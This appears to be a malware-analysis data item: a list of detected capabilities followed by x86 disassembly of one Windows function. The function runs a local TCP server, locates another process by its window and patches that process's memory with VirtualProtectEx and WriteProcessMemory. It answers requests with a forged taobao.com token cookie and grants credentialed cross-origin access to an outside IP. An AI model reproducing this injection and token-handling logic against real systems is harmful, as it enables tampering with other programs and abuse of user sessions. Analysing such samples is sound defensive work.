Function at 0x4012d0
Capabilities:
Allocate or change rwx memory
Create tcp socket
Create udp socket
Enumerate process modules
Execute shellcode via indirect call
Execute shellcode via windows callback function
Initialize winsock library
Make an http request with a cookie
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Set socket configuration
Start tcp server
Terminate process

Disassembly:
sub esp, 0x914
lea eax, [esp + 0x80]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.NTDLL.dll_RtlAdjustPrivilege]
lea ecx, [esp + 0x360]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x4011e0
mov dword [esp + 0x1c], 0x50000002
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40132d
push eax
push eax
push eax
push 0x401188
push eax
call dword [sym.imp.USER32.dll_MessageBoxExW]
mov dword [esp + 0x1c], 0x808087f
jmp 0x401338
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [esp + 0x1c], ecx
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea edx, [esp + 0x20]
mov esi, eax
push edx
push esi
mov dword [esp + 0x24], esi
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x401366
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 5
push esi
call dword [sym.imp.WS2_32.dll_listen]
mov dword [esp + 0x7c], 0x224
mov dword [esp + 0xc], 0x10
nop
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x20]
push ecx
push esi
call dword [sym.imp.WS2_32.dll_accept]
push 4
push 0x401098
push 0x1006
mov ebx, eax
push 0xffff
push ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0
push 0x5b3
lea edx, [esp + 0x36c]
push edx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0x7f
jle 0x4017bc
mov byte [esp + eax + 0x364], 0
cmp dword [esp + 0x36c], 0x3d6b6e3f
jne 0x401786
cmp byte [esp + 0x369], 0x31
jne 0x401482
lea eax, [esp + 0x370]
push 0x401180
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x401482
lea esi, [eax + 5]
mov byte [eax], 0
mov al, byte [esi]
lea edi, [esp + 0x3c]
cmp al, 0x20
je 0x401459
nop
cmp al, 0x25
jne 0x40144f
mov al, byte [esi + 1]
mov cl, byte [esi + 2]
xor edx, edx
cmp al, 0x39
setg dl
sub al, byte [edx + 0x4010fc]
xor edx, edx
shl al, 4
cmp cl, 0x39
setg dl
sub al, byte [edx + 0x4010fc]
add al, cl
add esi, 3
jmp 0x401450
inc esi
mov byte [edi], al
mov al, byte [esi]
inc edi
cmp al, 0x20
jne 0x401420
push 0x22
lea eax, [esp + 0x2a4]
push eax
push 0xffffffffffffffff
lea ecx, [esp + 0x48]
push ecx
push 0
push 0xfde9
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
add eax, eax
mov dword [esp + 4], eax
jmp 0x40148a
mov dword [esp + 4], 0
mov al, byte [esp + 0x370]
mov ebp, 0x58
lea edi, [esp + 0x3c]
lea esi, [esp + 0x370]
cmp al, 0x20
je 0x4014e0
cmp al, 0x25
jne 0x4014d4
mov al, byte [esi + 1]
mov cl, byte [esi + 2]
xor edx, edx
cmp al, 0x39
setg dl
sub al, byte [edx + 0x4010fc]
xor edx, edx
shl al, 4
cmp cl, 0x39
setg dl
sub al, byte [edx + 0x4010fc]
add al, cl
add esi, 3
jmp 0x4014d7
mov al, byte [esi]
inc esi
mov byte [edi], al
mov al, byte [esi]
inc edi
cmp al, 0x20
jne 0x4014a5
cmp byte [esp + 0x369], 0x31
mov byte [edi], 0
mov esi, 0x401170
je 0x4014f7
mov esi, 0x401160
push 0x40
lea ecx, [esp + 0x2e8]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0x48]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movq xmm0, qword [esi]
lea eax, [esp + eax*2 + 0x2e2]
movq qword [eax], xmm0
movq xmm0, qword [esi + 8]
movq qword [eax + 8], xmm0
lea eax, [esp + 0x2e4]
push eax
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
mov dword [esp + 0x14], eax
test eax, eax
je 0x401771
lea ecx, [esp + 0x84]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [esp + 0x84]
push edx
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 0x7c]
push eax
push edi
mov dword [esp + 0x18], edi
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x40176a
lea ecx, [esp + 0x7c]
push ecx
push edi
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x40176a
jmp 0x4015a0
lea eax, [esp + 0x19c]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015b0
sub eax, edx
lea edx, [esp + eax + 0x191]
push 0x401154
push edx
call dword [sym.imp.NTDLL.dll__stricmp]
add esp, 8
test eax, eax
je 0x4015e7
lea eax, [esp + 0x7c]
push eax
push edi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x4015a0
jmp 0x40176a
push 1
push 0
lea ecx, [esp + 0x1a4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401138
push eax
mov dword [esp + 0xa0], eax
call esi
mov ebx, eax
test ebx, ebx
je 0x401766
mov edx, dword [esp + 0x98]
push 0x40111c
push edx
call esi
mov dword [esp + 0x30], eax
test eax, eax
je 0x401766
mov eax, dword [esp + 0x84]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, dword [esp + 0x90]
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea ecx, [esp + 0x80]
push ecx
push 0x40
push 0x100
mov esi, eax
push edx
push esi
call ebp
mov edi, dword [esp + 0x90]
sub edi, dword [esp + 0x98]
lea eax, [esp + 0x80]
push eax
push 0x40
push 5
add edi, ebx
push edi
push esi
call ebp
mov ebp, dword [esp + 0x90]
sub ebp, dword [esp + 0x98]
lea ecx, [esp + 0x80]
add ebp, dword [esp + 0x30]
push ecx
push 0x40
push 3
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov ecx, dword [esp + 4]
push 0
test ecx, ecx
je 0x40172a
mov eax, dword [esp + 0x94]
push ecx
lea edx, [esp + 0x2a8]
add eax, 0x40
push edx
push eax
push esi
mov dword [0x4020d6], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [esp + 0x90]
push 0
push 0x26
push 0x4020d4
add eax, 0x90
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x98]
push 0
push 5
push 0x4020fc
sub ecx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add ecx, 0x8b
push esi
mov dword [0x4020fd], ecx
call edi
push 0
push 3
push 0x40109c
jmp 0x401752
mov edx, dword [esp + 0x18]
push 0x401200
push edx
call dword [sym.imp.USER32.dll_EnumChildWindows]
push 0
push 5
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
call edi
mov eax, dword [esp + 0x30]
push 0
push 3
push eax
push ebp
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x10]
mov ebp, 0x59
mov ebx, dword [esp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push ebp
push 0x4010a0
push ebx
call dword [sym.imp.WS2_32.dll_send]
mov esi, dword [esp + 0x18]
jmp 0x4017b3
mov ecx, dword [esp + 0x370]
mov edx, dword [esp + 0x374]
push 0
push 0xd1
push str.HTTP_1.1_200_OK_r_nSet_Cookie:__tb_token_aaaaaaaa__Domain.taobao.com__Path__r_nAccess_Control_Allow_Origin:_http:__39.100.92.174_r_nAccess_Control_Allow_Credentials:_true_r_nConnection:_close_r_nPragma:_no_cache_r_n_r_n_
push ebx
mov dword [0x402028], ecx
mov dword [0x40202c], edx
call dword [sym.imp.WS2_32.dll_send]
push 1
push ebx
call dword [sym.imp.WS2_32.dll_shutdown]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x401380